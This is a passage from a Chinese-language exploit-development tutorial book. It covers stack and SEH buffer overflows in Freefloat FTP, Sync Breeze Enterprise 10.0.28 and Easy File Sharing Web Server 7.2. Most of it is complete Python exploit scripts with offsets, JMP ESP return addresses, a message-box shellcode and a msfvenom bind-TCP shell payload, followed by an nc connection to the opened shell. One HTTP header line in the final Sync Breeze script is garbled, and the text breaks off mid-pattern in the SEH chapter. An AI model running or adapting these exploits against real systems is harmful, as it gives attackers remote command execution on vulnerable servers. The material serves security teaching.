让我们继续下一阶段,找到一个地方放置我们的 shellcode 并注入它。

注入 shellcode

让我们看看分析 Freefloat FTP 服务器内部模式的另一种方法:

#!/usr/bin/python
import socket
import sys

junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

让我们重新运行 Freefloat FTP 服务器,将其附加到 Immunity Debugger 中,然后点击运行程序图标。然后运行利用:

$ ./exploit.py

程序将再次崩溃;然后,从命令栏输入!mona findmsp

根据 Rapid7 博客blog.rapid7.com/2011/10/11/monasploit/findmsp命令执行以下操作:

  • 在进程内存中(正常或 unicode 扩展)寻找循环模式的前 8 个字节的任何地方。

  • 查看所有寄存器,并列出指向模式的部分或被覆盖的寄存器。如果寄存器指向模式,则它将显示偏移量和该偏移量之后内存中模式的长度。

  • 在堆栈上寻找指向模式部分的指针(显示偏移量和长度)。

  • 在堆栈上寻找模式的痕迹(显示偏移量和长度)。

  • 查询 SEH 链,并确定它是否被循环模式覆盖。

之后,按下Enter

这个分析告诉我们确切的偏移量是230。它还告诉我们,最好放置 shellcode 的地方是在堆栈内部,并且将使用 ESP 寄存器,因为没有一个模式从堆栈中脱离出来。所以,让我们继续之前的步骤。

我们的利用应该是这样的:

现在,让我们找到JMP ESP的地址:

然后,搜索JMP ESP

现在我们需要选择任何地址来执行跳转到 ESP。我会选择75BE0690

对于 shellcode,让我们选择一些小的东西;例如,让我们尝试这个 shellcode 在www.exploit-db.com/exploits/40245/,它在受害者的机器上生成一个消息框:

"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0"

因此,我们的最终 shellcode 应该是这样的:

让我们创建我们的最终利用:

#!/usr/bin/python
import socket
import sys

shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0";

junk = 'A'*230
eip = '\x90\x06\xbe\x75'
nops = '\x90'*10
injection = junk+eip+nops+shellcode

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')

现在我们已经准备好了;让我们重新运行 Freefloat FTP 服务器,然后运行我们的利用:

$ ./exploit.py

上述命令的输出可以在以下截图中看到:

我们的利用成功了!

一个例子

我希望你尝试这个例子,但使用一个不同的参数,例如MKD参数,我会给你一段代码来开始:

#!/usr/bin/python
import socket
import sys

junk = ' '

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD' + junk +'\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close()

就像这个场景一样,所以尝试更有创意一些。

总结

在这一章中,我们从模糊化开始了一个真实且完整的场景。然后我们看了如何控制 EIP,然后注入和执行 shellcode。

在下一章中,我们将使用一个不同的方法来进行真实世界的场景,即拦截和模糊化 HTTP 头部内的参数。

第十章:真实场景-第 2 部分

在本章中,我们将练习利用开发,但从不同的角度,即我们的易受攻击的参数将在 HTTP 标头中。我们将看看如何拦截并查看 HTTP 标头的实际内容。

本章涵盖的主题如下:

  • 同步 Breeze 企业

  • 模糊测试

  • 控制指令指针

  • 注入 shellcode

同步 Breeze 企业

我们今天的场景将是 Sync Breeze Enterprise V.10.0.28。您可以在www.exploit-db.com/exploits/42928/上看到攻击,也可以从中下载易受攻击的版本或www.exploit-db.com/apps/959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe

下载并安装它。然后打开它,转到工具|高级选项|服务器。确保启用端口 80 上的 Web 服务器已激活:

保存更改。然后,从我们的攻击机器上,通过 Firefox,使用端口80连接到此服务,这给了我们这个页面:

现在,让我们尝试对登录参数进行一些模糊测试:

模糊测试

现在,让我们使用 Python 生成一些A字符:

让我们复制此字符串并将其用作此登录表单的输入:

然后,让我们从此窗口复制实际输入并获取实际输入的长度:

输入的实际长度为64,我们注入了100。客户端端有一些东西阻止我们注入超过64个字符。只需右键单击“用户名”文本输入,然后导航到检查|元素即可确认:

我们可以简单地更改maxlength="64"的值并继续进行模糊测试,但我们需要构建我们的攻击。让我们尝试使用任何代理应用程序,如 Burp Suite 或 OWASP ** Zed Attack Proxy ZAP **)查看 HTTP 标头的内容。我将在这里使用 Burp Suite 并设置代理,以便我可以拦截此 HTTP 标头。

启动 Burp Suite,然后转到代理|选项,并确保 Burp Suite 正在侦听环回地址 127.0.0.1 上的端口8080

然后,通过您的浏览器,使用端口8080在环回地址127.0.0.1上设置代理:

准备登录页面,并通过导航到代理|拦截来激活 Burp Suite 中的拦截:

现在,拦截已准备就绪。让我们在登录表单中注入任意数量的字符,然后单击登录并返回到 Burp Suite:

关闭 Burp Suite。将代理设置回正常状态,然后使用此标头构建我们的模糊代码并对用户名参数进行模糊测试:

#!/usr/bin/python
import socket

junk = 

payload="username="+junk+"&password=A"

buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

让我们从300开始:

junk = 'A'*300

现在,将 Sync Breeze 附加到 Immunity Debugger(以管理员身份运行 Immunity Debugger):

确保将其附加到服务器(syncbrs),而不是客户端(syncbrc),然后点击运行程序。

现在,在我们的攻击机器上启动攻击代码:

什么也没发生。让我们将模糊值增加到700

junk = 'A'*700

然后重新运行攻击:

再次什么也没发生。让我们将模糊值增加到1000

junk = 'A'*1000

现在,重新运行攻击:

成功了!让我们也看看寄存器:

堆栈中有A字符:

控制指令指针

好的,完美。让我们创建模式以获取 EIP 的偏移量:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 1000

现在,将垃圾值重置为新模式:

junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

关闭 Immunity Debugger,转到任务管理器|服务|服务...;现在,选择 Sync Breeze Enterprise,然后选择开始以重新启动服务:

然后,确保程序正在运行并已连接:

现在,再次以管理员身份运行 Immunity Debugger,附加syncbrs,并运行程序。

然后,从攻击机器上运行攻击:

现在 EIP 值是42306142;让我们找到这个确切的 EIP 偏移量:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 42306142 -l 1000

前述命令的输出可以在以下截图中看到:

此外,我们可以在 Immunity Debugger 中使用mona插件:

!mona findmsp

前述命令的输出可以在以下截图中看到:

让我们确认:

#!/usr/bin/python
import socket

junk = 'A'*780
eip = 'B'*4
pad = 'C'*(1000-780-4)

injection = junk + eip + pad

payload="username="+injection+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

关闭 Immunity Debugger 并启动 Sync Breeze Enterprise 服务,并确保程序正在运行和连接。然后,启动 Immunity Debugger(作为管理员),附加syncbrs,并运行程序。

然后重新运行攻击:

现在,我们可以控制指令指针:

注入 shell 代码

因此,我们最终的注入应该是这样的:

关闭 Immunity Debugger 并启动 Sync Breeze Enterprise 服务,并确保程序正在运行和连接。然后启动 Immunity Debugger,附加syncbrs,并运行程序。

好的,让我们找到JMP ESP

然后,搜索JMP ESP

我们得到了一个很长的列表;让我们随便选一个,10090c83

我们选择了这个地址,因为这个位置对应应用程序(libspp.dll)是持久的。如果我们选择了与系统相关的地址(如SHELL32.dllUSER32.dll),那么该地址会在系统重新启动时发生变化。正如我们在上一章中看到的,它只在运行时起作用,在系统重新启动时将无效。

eip = '\x83\x0c\x09\x10'

让我们也设置 NOP sled:

nops = '\x90'*20

现在,让我们在端口4321上生成一个绑定 TCP shell 代码:

$ msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4321 -b '\x00\x26\x25\x0A\x2B\x3D\x0D' -f python

前述命令的输出可以在以下截图中看到:

我们最终的攻击代码应该是这样的:

#!/usr/bin/python
import socket

buf = ""
buf += "\xda\xd8\xd9\x74\x24\xf4\xba\xc2\xd2\xd2\x3c\x5e\x29"
buf += "\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\x94\xc1\x30"
buf += "\xc9\xe4\x0e\x36\x32\x14\xcf\x57\xba\xf1\xfe\x57\xd8"
buf += "\x72\x50\x68\xaa\xd6\x5d\x03\xfe\xc2\xd6\x61\xd7\xe5"
buf += "\x5f\xcf\x01\xc8\x60\x7c\x71\x4b\xe3\x7f\xa6\xab\xda"
buf += "\x4f\xbb\xaa\x1b\xad\x36\xfe\xf4\xb9\xe5\xee\x71\xf7"
buf += "\x35\x85\xca\x19\x3e\x7a\x9a\x18\x6f\x2d\x90\x42\xaf"
buf += "\xcc\x75\xff\xe6\xd6\x9a\x3a\xb0\x6d\x68\xb0\x43\xa7"
buf += "\xa0\x39\xef\x86\x0c\xc8\xf1\xcf\xab\x33\x84\x39\xc8"
buf += "\xce\x9f\xfe\xb2\x14\x15\xe4\x15\xde\x8d\xc0\xa4\x33"
buf += "\x4b\x83\xab\xf8\x1f\xcb\xaf\xff\xcc\x60\xcb\x74\xf3"
buf += "\xa6\x5d\xce\xd0\x62\x05\x94\x79\x33\xe3\x7b\x85\x23"
buf += "\x4c\x23\x23\x28\x61\x30\x5e\x73\xee\xf5\x53\x8b\xee"
buf += "\x91\xe4\xf8\xdc\x3e\x5f\x96\x6c\xb6\x79\x61\x92\xed"
buf += "\x3e\xfd\x6d\x0e\x3f\xd4\xa9\x5a\x6f\x4e\x1b\xe3\xe4"
buf += "\x8e\xa4\x36\x90\x86\x03\xe9\x87\x6b\xf3\x59\x08\xc3"
buf += "\x9c\xb3\x87\x3c\xbc\xbb\x4d\x55\x55\x46\x6e\x49\x47"
buf += "\xcf\x88\x03\x97\x86\x03\xbb\x55\xfd\x9b\x5c\xa5\xd7"
buf += "\xb3\xca\xee\x31\x03\xf5\xee\x17\x23\x61\x65\x74\xf7"
buf += "\x90\x7a\x51\x5f\xc5\xed\x2f\x0e\xa4\x8c\x30\x1b\x5e"
buf += "\x2c\xa2\xc0\x9e\x3b\xdf\x5e\xc9\x6c\x11\x97\x9f\x80"
buf += "\x08\x01\xbd\x58\xcc\x6a\x05\x87\x2d\x74\x84\x4a\x09"
buf += "\x52\x96\x92\x92\xde\xc2\x4a\xc5\x88\xbc\x2c\xbf\x7a"
buf += "\x16\xe7\x6c\xd5\xfe\x7e\x5f\xe6\x78\x7f\x8a\x90\x64"
buf += "\xce\x63\xe5\x9b\xff\xe3\xe1\xe4\x1d\x94\x0e\x3f\xa6"
buf += "\xa4\x44\x1d\x8f\x2c\x01\xf4\x8d\x30\xb2\x23\xd1\x4c"
buf += "\x31\xc1\xaa\xaa\x29\xa0\xaf\xf7\xed\x59\xc2\x68\x98"
buf += "\x5d\x71\x88\x89"

junk = 'A'*780
eip = '\x83\x0c\x09\x10'
nops = '\x90'*20

injection = junk + eip + nops + buf

payload="username="+injection+"&password=A"

buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r   2;n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

准备好了!让我们关闭 Immunity Debugger 并启动 Sync Breeze Enterprise 服务;然后运行攻击。

现在,使用nc命令连接受害机:

$ nc 192.168.129.128 4321

前述命令的输出可以在以下截图中看到:

成功了!

总结

在本章中,我们执行了与上一章相同的步骤,但是增加了与 HTTP 头部相关的一小部分。我希望你能在www.exploit-db.com中浏览,尝试找到任何缓冲区溢出,并像我们在这里做的那样制作自己的攻击。你练习得越多,就会越精通这种攻击!

在下一章中,我们将看一个完整的结构化异常处理SEH)的实际例子。

第十一章:真实场景 - 第 3 部分

这是我们书中最后的实际部分。它采用了不同的方法,专注于基于结构化异常处理SEH)的缓冲区溢出,也基于 HTTP 头部,但使用了 GET 请求。

Easy File Sharing Web Server

我们的目标是 Easy File Sharing Web Server 7.2。您可以在www.exploit-db.com/exploits/39008/找到利用程序,并可以从www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe下载易受攻击的应用程序。

下载并安装应用程序;如果您在上一个实验中已经这样做了,那么我们需要关闭 Sync Breeze Enterprise 中的 Web 服务器,因为我们需要端口80

打开 Sync Breeze Enterprise 并导航到 Tools | Advanced Options... | Server,确保在端口上启用 Web 服务器被禁用:

点击保存以保存更改并关闭它。

打开 Easy File Sharing Web Server:

点击 Try it!。当应用程序打开时,点击左上角的 Start:

Fuzzing

我们的参数是GET参数;请看以下截图:

GET后面的/是我们的参数;让我们构建我们的 fuzzing 代码:

#!/usr/bin/python
import socket

junk = 

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n") 
s.close()

在受害机器上,以管理员身份启动 Immunity Debugger 并附加到fsws

让我们从1000开始一个 fuzzing 值:

junk = 'A'*1000

然后运行利用程序:

什么都没发生;让我们增加到3000

junk = 'A'*3000

然后,再次运行利用程序:

再次,一样;让我们尝试5000

junk = 'A'*5000

然后,再次运行利用程序:

还要在堆栈窗口中向下滚动;您将看到我们成功溢出了 SEH 和 nSEH:

我们可以通过导航到 View | SEH chain 或(Alt + S)来确认:

控制 SEH

现在,让我们尝试通过使用 Metasploit 创建模式来获取 SEH 的偏移量:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 5000

利用程序应该是这样的:

#!/usr/bin/python
import socket

junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6